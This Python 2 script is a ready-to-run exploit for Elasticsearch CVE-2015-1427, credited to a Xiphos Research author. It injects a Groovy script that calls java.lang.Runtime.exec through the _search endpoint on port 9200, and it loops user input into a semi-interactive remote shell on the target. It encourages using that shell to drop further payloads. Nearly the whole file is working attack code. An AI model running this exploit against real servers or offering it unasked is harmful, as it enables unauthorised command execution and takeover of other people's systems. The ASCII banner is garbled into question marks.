#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"
 
def banner():
    print """\x1b[1;32m
??????  ???    ???        ?????? ????????? ??? ??????    ??????  ??? ?? ??????  ???     ???   
??   ? ????   ??????    ???    ? ?  ??? ?????????? ??  ???    ? ???? ?????   ? ????    ????   
????   ????   ???  ???  ? ????   ? ???? ?????????    ? ? ????   ????????????   ????    ????   
???  ? ????   ?????????   ?   ???? ???? ? ???????? ????  ?   ?????? ??? ???  ? ????    ????   
?????????????????   ?????????????  ???? ? ????? ????? ?????????????????????????????????????????
?? ?? ?? ???  ???   ????? ??? ? ?  ? ??   ??  ? ?? ?  ?? ??? ? ? ? ??????? ?? ?? ???  ?? ???  ?
 ? ?  ?? ? ?  ? ?   ?? ?? ??  ? ?    ?     ? ?  ?  ?   ? ??  ? ? ? ??? ? ? ?  ?? ? ?  ?? ? ?  ?
   ?     ? ?    ?   ?   ?  ?  ?    ?       ? ??        ?  ?  ?   ?  ?? ?   ?     ? ?     ? ?  
   ?  ?    ?  ?     ?  ?      ?            ?  ? ?            ?   ?  ?  ?   ?  ?    ?  ?    ?  ?
                                              ?                                               
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" %(__version__)
 
def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
    try:
        url = "http://%s:9200/_search?pretty" %(target)
        r = requests.post(url=url, data=payload)
    except Exception, e:
        sys.exit("Exception Hit"+str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print fuckingjson.strip()
         
 
def exploit(target):
    print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)
     
def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" %(args[0]))
    exploit(target=args[1])
 
if __name__ == "__main__":
    main(args=sys.argv)